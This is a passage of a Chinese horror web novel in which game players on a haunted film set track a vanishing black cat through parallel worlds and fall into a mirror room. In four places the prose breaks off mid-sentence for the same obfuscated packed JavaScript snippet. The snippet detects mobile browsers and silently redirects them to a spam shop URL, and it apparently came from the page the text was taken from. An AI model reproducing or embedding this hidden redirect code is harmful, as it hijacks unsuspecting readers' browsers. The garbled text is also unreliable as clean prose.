李新咏和肖羽蹲下身,仔细检查地上的痕迹。肖羽若有所思,问他:“道具师,这是你们安排的‘道具’消失之术吗?” 道具?李新咏的视线移向了钟玉珍,问:“秦导,我们有请动物演员吗?” 钟玉珍的大脑有一瞬间的空白,愣了愣,做出恼羞成怒状,音量拔高说:“你这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179168|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是问的什么话,剧本里有没有猫你们不知道?现在猫出意外死了,你们要自己想办法把这段圆过去!” 作为一个我行我素的唯物主义,秦文心即便是亲眼看见一次又一次诡异的场景,依然以为是自己为了电影而压力太大出现了幻觉。宁愿相信是所有人水土不服,或者受磁场影响导致的群体幻觉,也不相信真的有鬼。 通俗点说就是,给自己洗脑式的嘴硬。 所以在面对黑猫是真实的还是见鬼了的询问,她只会在受惊后恼羞成怒,用大音量来掩盖自己的心虚。 肖羽开着手机手电筒,光线对着地面,的确发现了一些痕迹。 比如说,地面上根本就没有任何猫科动物踩过的梅花脚印。刚来宠物医院时他就察觉到了,这里门口的地面上灰尘较多,像是已经很久没人来打扫过。 现在这一块与广告牌同材质的大理石铺出来的地上,只有他们十二个人进出时略显凌乱的脚印。 纪然见他一直盯着地面看,想起上个副本自己从季然房间里醒来后,检查地面灰尘的场景,便很快跟上了肖羽的思路。 来到夏黎身边,她指着摄影机问:“陈欣姐,我能看一下刚才拍摄的内容吗?” 这个“假剧组”,感觉除了必备的摄影机之外,似乎并没有其他专业设备的身影,“导演”也一直跟着他们,却从未看见监视器的存在。或许,只有真导演程松云那里才有完整的一套设施。 一直盯着显示屏的夏黎有些莫名,听到“陈欣”这个名字,一时没反应过来这个人在喊谁。待纪然又喊了一声后,才想起来自己饰演的摄影师叫陈欣。 听到“云初夏”要查看摄影机,夏黎自己拿不定主意,连忙用眼神向“秦文心”询问。 “秦文心”显得有些不耐,随意地挥了挥手表示同意:“她要看就让她看,你们刚才盯半天都没盯出个子丑寅卯来,现在她又能看出个什么。” 站到显示屏前,夏黎教纪然怎么调出回放模式。陈长风手里的摄影机还在拍摄,其他人便纷纷围到夏黎这边。而楚昭寸步不离纪然,抢占了她另一边的第二佳观看视角位置。 纪然生疏地操作着显示屏,从他们最初遇见黑猫的场景开始播放。虽然摄影师的手法不够专业,导致画面有些抖动,不过这并不影响他们观看。 画面显示,一群人带着黑猫走进宠物医院,黑猫在镜头中清晰可见。然而,等他们走出医院大门,特别是叶柯抱着黑猫跨出门槛的瞬间,黑猫从画面里消失了。 屏幕中,叶柯在空荡的怀抱下,保持着抱猫的姿势,却突然低下头,对着空气做出捞了一把的动作。应该是黑猫跳在地上时,她以为猫掉下去了,下意识地想去接住猫。 紧接着,走在侧前边的纪然回头,视线缓缓下移,最终定格在地面上。她像是看到什么有趣的东西,笑了一下,随后蹲下身伸出手,似乎是想要触摸地上的无形之物。 在她手指往前伸的顷刻间,头顶上方的广告牌如同失去控制的巨兽,猛然坠落。 画面静止了几秒,跳动的时间却让人知道,这并非静止画面。之后便是楚昭拉起纪然,一群人搬开石块的场景。 随着石块的逐渐减少,镜头缓缓拉近,逐渐将观众的视线引向画面中心的空地。屏幕上,那片空荡荡的、毫无痕迹的地面在眼前清晰可见,与周围散乱的血迹成鲜明对比。 “所以,猫去哪了?”谢沫沫问出了一个在每个人心头萦绕的问题。 84.第一天:第六幕3 叶柯动了动手指,捏了下自己的手掌,明明之前她抱着黑猫时,能感受到它的毛茸触感与体温,怎么会是假的呢? 在场的一群人中,只有剧本里的同宿舍三人组摸过猫。 谢沫沫抱着自己的手臂,轻轻搓着激起的鸡皮疙瘩。而纪然则继续调动画面,把抱着黑猫走出医院大门的那一段来回播放了几次,次次都在叶柯刚踏出脚的时候,黑猫消失。 毫无征兆,了无痕迹。 “黑猫的触感很真实,从看到它开始,它表现得便跟剧本里不一样,那为什么在走出医院后就消失了呢?”纪然想不明白,而且还有那突然砸落的广告牌,都显得十分诡异。 天边的晚霞渐渐褪去了它的辉煌,宛若一盏即将耗尽电量的灯,顽强地用最后的光芒维系着一丝光亮。 十二个人站在空荡的医院门口,微风吹起,热气逐渐消散,空气里弥漫着一股凉意。 纪然抬眼看向前面的街道,周围的光线比来时要暗了许多。朦胧微光从西侧遥遥落下来,打在东侧一排的房屋上,光线照不到的地方却落入一片昏暗。 房屋轮廓影影幢幢,即使凝神细看,也很难辨认出门洞或是窗户的轮廓。 这些屋子如同电影里刻意虚化的远景,又像是被放大百倍的像素图。在这种光线下,每一栋建筑似乎都由无数像素点拼凑而成,细节难以辨认,给人一种不真实的错觉。 与剧中剧里一致的黑猫,突如其来的落石,镜头里的消失,毫无动静的街道,以及身后隔着门的医院。 种种思绪在脑海中快速掠过,她的目光落在房屋墙壁上的阴影里,电光石火间,她捕捉住了那稍纵即逝的灵感。 他们,是不是进入了另一个世界? “这怎么跟说好的剧本又不一样啊,难不成这次我们进了剧中剧的世界了?现在我们该怎么办啊?”纪然用抱怨般的口吻说出炸裂的信息。 一句话,仿佛有一道惊雷闪在众人的大脑里,让人无法平静。 “剧中剧里的世界?”站在纪然身边的夏黎被这句话吓得心脏砰砰跳,像是有一面鼓在她胸腔里敲打着。 好似被她的话给提醒到,纪然露出惊讶的表情,随即眉毛微皱,后知后觉地感到害怕起来。 纪然抓住身侧楚昭的衣角,脸上带着刻意的惊惶之色,声音颤抖着说道:“我们刚才遇到的黑猫,那么温顺,很有可能就是剧中剧里的那只。所以会不会从我们走进镇子街道开始,就已经进入了剧中剧里的世界?” 早在见到黑猫时,它那温顺乖巧的模样就让众人意识到,这绝不是剧本里那只受惊的猫。它也并没有表现出任何异样,更没有对着空气做出攻击的姿态。 “而后等我们从医院出来,走出门的那一瞬间,我们又回到了原来的世界。因为它属于那个异世界,所以摄影机拍不到它的身影,但又因为黑猫拥有通灵的能力,我们才能够直接用肉眼看到它。“纪然说出自己的推测。 知道自己的话容易引起OOC警告,所以纪然说得飞快,一边往楚昭身边缩,一边发挥作精的本质发着牢骚:“天呐,我简直难以相信自己会碰到这种事,你们快想想办法啊!” 她抓着楚昭的手臂,晃了晃:“我不想待在这了,我想回宾馆。” 听着这语气里没多少恐惧但又自称害怕的话,楚昭顺势揽过纪然的肩膀,低声安抚了几句。 面对这种时常给自己加戏维持人设、又连着带他不得不做出反应的“女朋友”,感觉短短一天内,自己好像已经快要习惯了。一些以前从未说过的话,竟然越说越顺。 其他人也在讨论着,要不要就不管黑猫这件事了,直接去广场继续拍摄。毕竟按照“云初夏”的话来说,他们已经回到了“真实世界”。 宋承他们几人尝试着再回到医院大门内,查明情况——黑猫的“死亡”太过蹊跷,作为老书虫的肖羽感觉这段剧情没这么简单。结果却发现身后大门在他们不知不觉中,悄无声息地落了锁,里面的灯光也熄灭了,大家却毫无察觉。 在原本的剧情里,黑猫的出现只是为了拖延众人的时间,让他们在完全天黑前的最后一缕光下到达广场。而现在…… 天色已经接近全黑了,全靠玩家们开着的手机手电筒的光照亮这一小块地方。 从黑猫消失到纪然说出那些话之间,并没有间隔多久,甚至他们走到街道上时,还不到傍晚七点钟。之后来到宠物医院给黑猫包扎伤口,花费时间不到半小时。 纪然看了眼手机时间,开了护眼模式的屏幕暖色光突兀地亮起,此时是19:23分。 不对劲,在这种入伏天里,怎么可能七点半就天色这么昏暗了。 她记得上次看的一个野外生存的视频,同样是七月份温带地区临近40摄氏度的气温,视频中的主角在晚上七点四十五分时,身后的天际还挂着一抹淡淡的晚霞。 尽管光线不足以完全照亮野外的环境,但至少周围十几米内还是依稀可辨的。而现在,除了玩家们手机发出的光束外,三米开外的景象就已模糊不清。更令人匪夷所思的是,一整条街道上竟无一家亮灯。 “天黑的时间太快了。” “天色不对劲。” “是不是很晚了?” 几道不同的声音同时响起。 新的光芒骤然亮起,让他们瞧见了纪然看手机的动作,对时间的敏感度远超一般人的刑警三人,几乎是同时意识到问题所在。 倒不是说他们观察力不如纪然一个普通人,而是他们的检查重点全放在周围的建筑与身后的医院上,反倒是被东张西望的纪然首先察觉到光线问题。 亦或者,也有其他人发现了,却以为副本就是这样的设定,而忽略了这点异常现象。总而言之,现在每个人都知道,情况有变。 在众人惊疑时,当了很久背景板的楚昭终于有那么一点副本参与感,目光投向医院大门,说:“也许,情况就如夏夏所言,只不过,她说反了。”说完他就微垂着头,没有看任何人。 纪然若有所思:“说反了?难道这里才是剧中剧世界?你别故意吓我呀男朋友。”当然,后一句只是她用来维持人设说的。 白天时经历的种种,让她确定了这个副本世界除去灵异元素外,与现实世界别无二致。那么,也应该是会按照现实的万物规律来的,尤其是日落的时间。所以,楚昭的话,确实也有道理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179539|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 摸到他微凉的手臂,纪然突然灵机一动,问:“要不试试你的招邪符?把黑猫招出来,我们是不是可以跟着它回到原来的世界?” 楚昭轻轻摇头,说:“没那么简单,这里更像是一个单独的场景。” 没等纪然想明白这句话的意思,就被其他人说话给打断了思路。 陈长风有些烦躁地摆弄着摄影机,动作带着几分粗鲁。听着他们说的话,总感觉逻辑上有些不对劲。 他强行压下心底的时间焦虑,故作害怕地问道:“如果黑猫是剧中剧世界的,那怎么会在我们走出医院后消失?还有这奇怪的牌子,为什么会突然掉下来砸它?地上有血,可黑猫的尸体呢?” 借着众人的手电光,他指了指地上的血迹,直接进行了三连问,问完后还缩了缩脖子,一副胆小却忍不住好奇的模样。 肖羽摸了摸下巴,他的剧本人设倒是比较自由点,所以直接分析道:“我们先来理一下逻辑。为了方便,剧中剧世界我把它称为A世界,剧本世界为B世界,‘真实’世界为C世界,黑猫同理。” 他竖起手指用一二三代替ABC,左手表示世界,右手表示猫咪,说:“那么我们一开始的推测是:从踏进街道开始我们便进入了A世界,遇见了A猫,带它到医院治疗,随后从医院门口出来,A猫被广告牌砸到,留下边缘处的血后凭空消失,镜头里却没有拍摄到它。所以第一个结论是,我们现在所处于A世界里。” “这个结论在之前确实是比较说得通,现在发现的新情况不足以支撑这个结论。”宋承接话,解释道。随后冲肖羽微微颔首,让他继续分析。 肖羽了然,点了点头,继续说:“是的。首先,这个结论里有一个最大的疑点:如果这里是A世界,那么身为A猫,它不该直接消失,而是会在被砸中后留下尸体,毕竟这里是它本身的世界。”他摊手,视线缓缓扫过地面的痕迹。 “其次,时间与落日速度对不上。”肖羽按亮手机屏幕,指着上面显示的19:28分,目光投向之前落日的西方,皱眉思索着什么。 见状,李新咏点开手机日历,说:“现在是阳历七月十五号,农历六月初十。这个日期大家或许会有些陌生,不过‘入伏天’应当是听说过吧?‘夏日三庚便数伏’,指的是从夏至日往后数到第三个‘庚日’便开始入伏。” 看见好多人还是一脸懵的样子,肖羽早已习惯了李新咏这种有时说话较为深奥。他收回视线,笑了一下,换了一种方式解释:“就是‘热在三伏’的那个入伏,现在是初伏天,气候特点是高温高湿,气压低风速小。” 这句话大家倒是都听说过,不懂的人听到后面的气候特点,也能明白。 整理了一下自己的思绪,肖羽接着分析道:“夏季的特点是昼长夜短,日出提前,日落推迟。今天整个白天都是艳阳天,在这种高温的季节,日落速度缓慢,可达到晚上八点左右才会完全天黑下来,最早也是七点半之后。而刚才我们注意到,七点二十几分的时候,外面已经几乎一片漆黑了。” 众人看了眼幽深黑暗的街道,点了点头。 “最后,是地上的血迹。”肖羽示意众人看向地面。 85.第一天:第六幕4 肖羽蹲下身,手电光对准地面的痕迹,捡起一块长一些的碎石在地上比划:“当时A猫是在这里被砸中的,而周围并没有血迹。反倒是在这边,从这里到这里,以及边缘这几处有血迹。很奇怪是不是?我也觉得很奇怪。所以之前我们检查了广告牌的石块,发现它的某些部分位置厚度存在异常,且有水泥砂浆糊过的痕迹。” 他站起身,走到一旁杂乱堆砌着各种大小石块的位置,是十几分钟前砸落在地上碎裂的广告牌,虽然以这个高度来看,能碎成这样也挺离谱的。 从石块堆里扒拉出来一块较大的石块,他朝乔云深招了招手,指着上面的血迹问:“小白,你们学医的应该能从血迹上看出点什么吧?” 乔云深:“……不要叫我小白。” 说是这么说,乔云深还是凑了过去,借着医学生的身份掩护发挥自己的专长:“高温会加速血液中水分的蒸发,而目前潮湿的环境可能会延缓这一过程。此外,大理石材质由于其多孔性,可能会吸收一部分血液中的水分,影响干燥效率。在这样的环境下,血迹的干燥速度可能会比一般环境下快。” 乔云深之前检查过这些石块,现在又仔细打量了一遍,继续说:“只凭肉眼观察很难准确判断血迹的具体时间,目前我们并没有合适的工具,仅能从当前血迹的颜色变化和气味变化,作为判断血迹时间的参考。我推测,这上面的血迹大约是三小时前留下的。“ 肖羽拍了拍他的肩膀,无声地称赞他,随后接过话:“所以,A猫并没有被石块砸到,而是很大概率在三小时前被封在这里,留下了这些血迹。那么问题来了,我们看见的A猫,身上并没有这么大出血量的伤口,并不符合这些特征。“ 谢沫沫和夏黎听得感觉毛骨悚然。既然不是她们看见的那只黑猫,难不成还有另一只? 而且,什么叫做“被封在这里”? 部分厚度存在异常,有水泥砂浆糊过的痕迹,难道是在大理石某一面用水泥砌出一块新空间? 几人这才仔细打量着地上的石块,发现水泥这一部分在大理石上的凸起并不大,内部空间估计只能够塞进去两三只手,而且确实有部分血液是从两种材质的微小间隙中流出。 黑猫身上的不对劲地方被剖析开,纪然总算搞明白了那些违和之处。抓着楚昭的手臂,她用不敢置信的口吻问道:“你是说,这些血迹,是B猫或者C猫留下的?” 众人的视线纷纷聚集在肖羽身上,等他继续解释。 “没错,刚才的第一点里就证明了我们遇见的这只猫并非为A猫,第二点和第三点都证实了当前世界也不是A世界。那么,用排除法来算,除去A世界和我们原本所在的C世界,可以得出我们现在所处于的世界为B世界,也就是剧本里的世界。第二个结论是成立的。”肖羽站起身,咬字清晰地说道。 “那剧本里只提到黑猫能看见人类看不到的存在,跟你说的什么B世界也不符合啊。”钟玉珍把注意力都在放在猫身上,没想明白他说得话,毫不客气地杠了一句。 谢沫沫深吸一口气,回怼她:“所以才说除了B猫外还有C猫啊,秦导,都这种时候了,你还在质疑什么?” 其实她在见到“云初夏”时不时会来一段剧本之外的戏份时,想到了进本后没多久程松云说的那些话:这部电影里没有固定主角,只要表现得够出色,就能成为真正的主角。 她猜测,那个看起来跟她差不多大的女孩子,早就察觉了这一点。所以在这一天的拍摄里,大多数人都只按照剧本来演时,“云初夏”会在空白期给自己加戏,刷人设争取戏份。 虽然这是她被意外拉进无限流世界里的第一场副本,但身处于一个网文盛行的时代,对这种题材的小说即便没看过多少,也能知道些大概。像打游戏时,一堆人攻击一只boss怪,除首杀外,不就是按照攻击占比分配奖励吗? 只在刚开始时她因为突然身处陌生世界,想到小说里九死一生的恐怖场景,她又惊慌又无措。后来发现这个副本里的其他玩家好像人都还不错,她才慢慢平复心情,鼓起勇气努力完成那张黑卡上的任务。 现在察觉到一种能加表现分的方式,她当然也想趁着还没到危机时候多刷点分,万一戏份刷着刷着就升级成了主角或者主角身边的人,那在恐怖电影里能活下去的机会将大大增加。 她还没到二十岁,人生刚刚开始。她想活着,她想通关。 “对,既然这里是B世界,与B猫的设定又有冲突,那么这摊血的主人,只剩下未知的C猫这一种可能性。”肖羽没理会这两人的刷人设互怼,冲着剩下的人说出答案。 宋承冲肖羽点头,给予肯定的眼神,最后进行总结:“所以我们是现在处于剧本世界,遇见的黑猫是剧中剧里的猫,而这摊血是真实世界的黑猫流下的。” 又是剧本又是剧中剧,还有ABC世界和ABC黑猫。一连串相似的词汇落在夏黎耳中仿佛车轱辘话来回说似的,她不由瞪大眼睛,手里一个不注意,差点将摄影机给掰坏了。 好不容易理清些逻辑,夏黎问:“那么为什么C猫会出现在B世界的场景里?” 叶柯原本全程跟着肖羽他们的分析思路思考,闻言眸中掠过几分深思,直觉有什么地方不大对劲:“你应该问,‘为什么B世界里会出现C猫的痕迹’。” 陈长风一愣,有些不明所以:“这两句话有什么不同?” “当然不同,一个主语是C猫,一个主语是B世界。我们在B世界遇见A猫,所以C猫不是我们的主要分析线索,而是我们的参考。”肖羽很快反应过来,顺着叶柯的意思解释,为大家理清思路。 见众人没能明白他的意思,肖羽又说:“或许你们都听说过黑猫的一些传闻?比如,黑猫能够通灵、带来厄运灾难、看见死去的灵魂等。也有部分传闻是好的一面——黑猫是带来好运的象征,是避邪之物,能为主人带来吉祥。众说纷纭,从古至今人人各抒己见。放在我们眼下的情况里,你们觉得它代表着什么?“ 纪然思索着,无意识地揪着楚昭的一处衣摆,楚昭则面不改色地把勒住自己喉咙的衣领扯了回去,继续当他的背景板。 关于黑猫通灵的能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13213043|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力纪然也曾见到过,在一些灵异类的小说中,黑猫通常都象征着灾难与死亡,被视为不祥的存在。有一种传闻是说黑猫能看见人类的灵魂,拥有人类接触不到的,与另一个世界进行沟通的神秘力量。 难道说…… “是C猫的某种通灵能力,让本该在C世界发生的场景,影射到B世界?”纪然问出她的猜测,她对这方面知识的了解远不如肖羽他们,毕竟只有半个多月的学习时间,她仅来得及看个大概。 为了符合人设,她语气里有些紧张感。楚昭听出来了,知道这人又开始演了,他又得打配合了。 不那么背景板的背景板用充满鼓励的眼神看着纪然:“没事的,宝贝你继续说。” “……”这个诡异的眼神差点让她笑场。 受到鼓舞,按照这个猜测往下分析,纪然逐渐放松似的继续说:“那么一开始我们遇到A猫时,就已经进入了A世界,从医院大门出来后才进入的B世界。所以按照这个规律,我们需要从C猫留下的线索里找到B猫的存在,让它带我们去往C世界。” 摄影机里从出大门后就消失的A猫,他们能用肉眼可以看到,也许也是因为奇怪的通灵能力。在跨越平行世界后,原地留下一段类似于影像的存在,人眼能看见,但电子设备却无法记录。 一连串的话不仅夏黎他们晕了,连说完后的纪然本人都感觉有些拗脑子,不过重点放在最后一句话上就可以了。 “这跟B猫又有什么关系啊?它都没出来过。”谢沫沫揉了揉自己的脑袋,感觉痒痒的。 “三个世界对应三只猫,B猫没出来才奇怪,说明它才是我们回到剩下的第三个世界的关键,”叶柯摸了摸谢沫沫的脑袋,“我们遇见A猫时,已经踏入了A世界。但之后来到B世界时,本该看到B猫,但实际我们看到的却是C猫的痕迹。说明B猫和C猫有某种关联点,能够让我们走出B世界。” “是的,C世界去往A世界见到的是A猫,然后A世界去往B世界后见到的却是C猫,那么要从B世界再去往C世界,就需要找到剩下的B猫。或者说,第一次跨越空间是看见猫的那条街道,第二次跨越空间是带着猫离开医院大门,现在第三次跨越空间的线索就在这里,我们找出来便能回去。”肖羽说得很是详细,根据已知线索猜测得也很合情合理。 从他分析这么久以来,除第一小队以外的玩家都比较信服他的话,毕竟有人能轻松想明白他们要费劲才能想出来的东西,干嘛还要跟自己过不去非要去质疑呢? 从广告牌的痕迹上,他们找不到其他线索。所以,在一群新人以及半新人之间崭露头角的肖羽,联合第一小队的几人安排众玩家们两两分组,以医院为中心让他们四散开来,把手电灯光都对准地面和墙面,仔细检查关于猫的痕迹。 此时的街道,仿佛被夜的墨色彻底吞噬,一片深邃的幽暗笼罩四周,不开手电筒时,几乎伸手不见五指。 天幕之上,不见半点微光。眺望街道,路灯如同雕像静默伫立,没有了光亮就如同失去了灵魂,路过时,像瘦长黑影在暗中窥伺着。 86.第一天:第六幕5 整条街道上除了玩家们发出的动静外,毫无其他声音。他们猜测,也许能让他们回到真实世界的黑猫,不是以实体的形式存在,而是作为某种线索的指示,也许是一幅画,也许是一段字。 因为他们发现,他们无法走出这条街,一旦走到街道边界位置,就会被无形的空气墙给拦住。 能够活动的范围仅只有这条马路,甚至都无法走进室内,就连各种分叉路的小巷子,也只能站在巷口往里望。 纪然跟楚昭是一组,打着手电扫视着地面。经过绿化树时,暖黄色的光束一晃而过,她突然想起,很多地方的路边电线杆及路灯上都会贴着小广告。既然线索的存在方式不固定在真猫身上,或许这种小广告也可以看看。 她举着手机接近电线杆,面前的混凝土上果然贴着几张经历过风吹日晒的褪色纸张。 「XX提供家电维修,管道疏通,开锁服务……服务,需□□请联系xxx……」 「XX商场开业大吉,一周内全场购买通通打九折,全部九折……」 「幼儿艺术培训中心,让您的孩子从小赢在起跑线……」 …… 纪然一张张看过去,没找到跟猫有关的广告。按照间距标准,每隔五十米就有一根电线杆。她招呼两米外正在检查地上脚印的楚昭:“这些电线杆上的广告可能会有线索,我检查这边的,你去看那边的吧。” 防止OOC她还作出一副因为迟迟不能回去而赌气的样子,相信这个老玩家能明白她的意思,两边一起看会更快。 楚昭站起身,把手电往她说的那边照了照,幽深的黑暗吞没了不算明亮的光束,视线里最多能看到前方五米的大致路况。 “我不想离你这么远,”他的口吻波澜不惊,却语出惊人,把光束对准地面,朝纪然走去,“这里太黑了,万一找不到你怎么办?” 纪然:“……” 噫,好肉麻的粘人精人设,愣是把分开行动万一出现危险说得这么深情。 她搓了下手臂,继续往前走。随后两人一起检查了其他贴有广告的地方,果不其然,在其中一根电线杆上的小广告中找到了相关线索。 「紧急寻猫!重金酬谢!」 “找到了,寻猫启事,失踪的是一条黑猫。”纪然轻声开口,凑近电线杆看向上面打印出来的黑猫图片。 在手电筒的光照下,这张白底黑字又带图的纸上,加粗放大标重点的红色字体很吸引眼球。 「本人家养黑猫于7月12日晚上在广场失踪 猫咪名字:芝麻汤圆 性别:母 猫咪特征:(加粗放大红色字体)纯黑色英短猫,蓝绿色眼珠,体型约有两个巴掌大,脖子上系着红绳,上面有一个坏掉的小铃铛。 具体如下图:(文字底下附图) 猫咪今年只有一岁,身体健康,性格温顺,对人友好。 有看到的朋友麻烦及时与我联系,感激不尽,必有酬谢!希望广大好心人帮忙留意! 猫咪可能会去宠物医院那条街,和广场附近。联系电话:xxx」 “特征基本都能对上,我们遇到的就是它了吧。”纪然看了眼手机,不出意外的没有信号。 试图把这张在一众广告里格格不入的、崭新的纸张给完整撕下来,却发现这纸黏得还挺牢的。 眼见快到集合时间,纪然用手机拍下这张寻猫启事,带着楚昭走回宠物医院大门,与众人汇合分享线索。 出乎意料的是,除了她找到的线索外,其他人居然一无所获。 用蓝牙把照片发给所有玩家后,大家对着寻猫启事议论纷纷。 谢沫沫惊疑道:“广场附近,这不就是我们要去的地方吗?” “好像刚才那猫的脖子上确实有个小铃铛,我没太在意。”陈长风放大看黑猫的图片。 “是同一只猫,原来它叫芝麻汤圆啊,好可爱。”这是叶柯在刷人设。 确定就是这只猫后,夏黎眼前一亮:“那我们联系这个电话问问?是不是回去的线索就在电话里?” 纪然戳破幻想:“手机没信号。” “……”夏黎把镜头转向其他人,避开了纪然。 “我们去你发现这张寻猫启事的地方看看吧,目前只有这一处出现线索,也许还有没注意到的地方。”宋承几人怎么看都感觉这只是张普通的寻猫启事,索性让纪然带路,大家过去再看看。 等一群人来到那根电线杆前,围着电线杆左看右看,也没能看出个时空通道来。 “难道真的得打电话?”夏黎还没放弃打电话的念头,但是手机始终没有信号,尝试拨出去也没回应,才放弃了。 多个手电筒的光线汇集在一起,视线能看到的范围扩大了很多,李新咏感觉余光中有什么东西闪了一下。 警惕地错开身子回头后,发现是一块镜子。 或者说,是一间房间里的镜子。 很奇怪,窗户上的玻璃没有被手电光反光,光束照进去时就直接投进去了,反倒是窗户里房间墙壁上的镜子,反光了。 李新咏伸手摸了一下窗户上的玻璃,发现自己的手指被玻璃吞没了。注意到这边动静的乔云深走过来,瞬间睁大了眼睛,连忙去拉扯李新咏的手臂。 “我没事,”李新咏收回手,离开玻璃后,他的手指在光线下完好无损,动了动手指确保没问题,他招呼众人,“这块玻璃有问题。” 闻声,一群人围了过来。李新咏再次示范,让大家看见手指被玻璃吞噬的一幕。肖羽皱着眉正要上前,宋承拉住了他:“你看里面的镜子。” 其实如果玻璃不发光的话,在这种漆黑夜晚打着手电的时候,他们是看不见这里有块玻璃的,只能依靠窗户框的常识来识别。 所以这也是很奇怪的一点,他们所有人都能清楚地看见这里有一块玻璃,然而手电筒无论是正着打光还是侧着打光,这玻璃就是不反光。 李新咏的手指确实是被玻璃吞没,但是他们仔细看了看,发现正对着窗户的墙壁上,那面镜子里,诡异地出现了几根手指。 明明对着窗户的镜子,却没有映出窗外的任何一个人。 拉近镜头的夏黎看见这一幕,抖了抖身子,感觉自己SAN值掉了一地。 纪然好奇地伸出手,摸上窗户玻璃,眼睛盯着里面的镜子。果然,镜子里那几根手指的旁边,也出现了新的手指。 有意思。 她装作害怕的模样,拉着楚昭往落地窗户里钻:“啊啊啊玻璃吃掉了我的手——”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13235749|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 然后她整个人都被玻璃“吃掉了”。 楚昭:“……” 这样是不是有点假? 然后被强行拉走的他也被“吃掉了”。 下一秒,两个人从天花板上的镜子里掉下来。 是的,天花板上,掉下来。 天杀的,谁家好人在天花板上挂镜子啊! 不是,那镜子不是在墙壁上贴着吗?怎么他们是从天花板上掉下来的啊? 大意了。 来不及想太多,纪然从感受到身体失重开始,下意识地松开了手,不过晚了,还是把人一起拽了进来。 在看见眼前底下起码有四米的高度时,她瞳孔微缩,试图抓着什么东西缓解一下掉落的趋势。 短短的零点几秒间,别的没抓到,反倒是抓到了某个被她一起拉进来的倒霉鬼的衣角。 倒霉鬼很实在,纪然就那么一眨眼的瞬间,他就像违反了重力学似的,在空中以普通人做不到的动作强行调整了姿势,接着从纪然身后捞过她的腰,往自己身上一带。 呼与吸的循环让空气还没在肺部走上半圈时,纪然就感觉自己的腰要被勒断了,本就不太流畅的呼吸骤然一滞。 下一瞬,倒霉鬼带着她在地面上落地缓冲,安全着陆。 从掉落到落地,一两秒的时间,做出了一系列的动作。 太精彩了,夏黎忍不住鼓掌。 听到突然响起的掌声,陈长风也反应过来,加入了鼓掌阵营。然后一个传一个,窗户前传来了响亮的掌声。 纪然听到声音,脚趾扣地,顺便戳了戳在她与窗户之间挡着的倒霉鬼,非要问一句:“你尴尬不?” 楚昭:“……” “下次别这么莽撞了,”楚昭拉起她,淡定地整理了自己被扯歪的衣服,“砸到地上的人才会尴尬。” 虽然根本没人能想到,手指是从墙壁上的镜子里出来,但是人却是从天花板上的镜子里掉下来,从没听说过有谁把镜子挂天花板的。 “有道理。”纪然接受了这种说法,心态顿时放平,走到门口准备给大家开门,却发现她与门之间隔着一堵空气墙。 她只好又绕回窗户边,告诉大家她无法接近门。 宋承试了试,从门外也无法靠近大门,跟之前他们想要离开这条街道一样,无形的空气墙阻拦了所有的逃离。 “我进去与他们先找一下线索,你们在这里等一会儿吧,鸡蛋不要放在一个篮子里。”宋承解释了一句,无声地向肖羽和李新咏下达指令——保护好自己人。 第一小队的众人,才是自己人。 李新咏和肖羽对视一眼,一个眼神清冷理智,一个眼神复杂。 知道会从天花板掉下来,宋承在走进窗户时就做好了落地准备,四米的高度对于受过专业训练的人来说,并不算有太大难度。 落地时膝盖弯曲,接触地面后通过滚动来分散落地的冲击力,在必要时使用手臂帮助平衡或支撑身体。一连串流畅的动作后,宋承也安全着陆。 这下,窗里窗外,都响起了掌声。 宋承:“……” 算了,小场面。 三人汇合,首先就是去检查两面镜子,一个在墙壁上,一个在天花板上。 87.第一天:第六幕6 这家店因为装修问题,面积显得较为宽敞,估摸着有七八十平方,就是摆设有些奇怪——货柜放置在墙壁两端,中间被刻意留出一大块空地。 正对着大门与落地窗的墙壁上,贴着一面接近人高的镜子,镜子旁边是一扇镶嵌于墙的窗户。窗外漆黑一片,没有丝毫月光。 手电筒的光束划过货柜时,不知道是不是反光的问题,玻璃柜门后,架子上那几排陶瓷娃娃的眼睛仿佛都盯过来了。 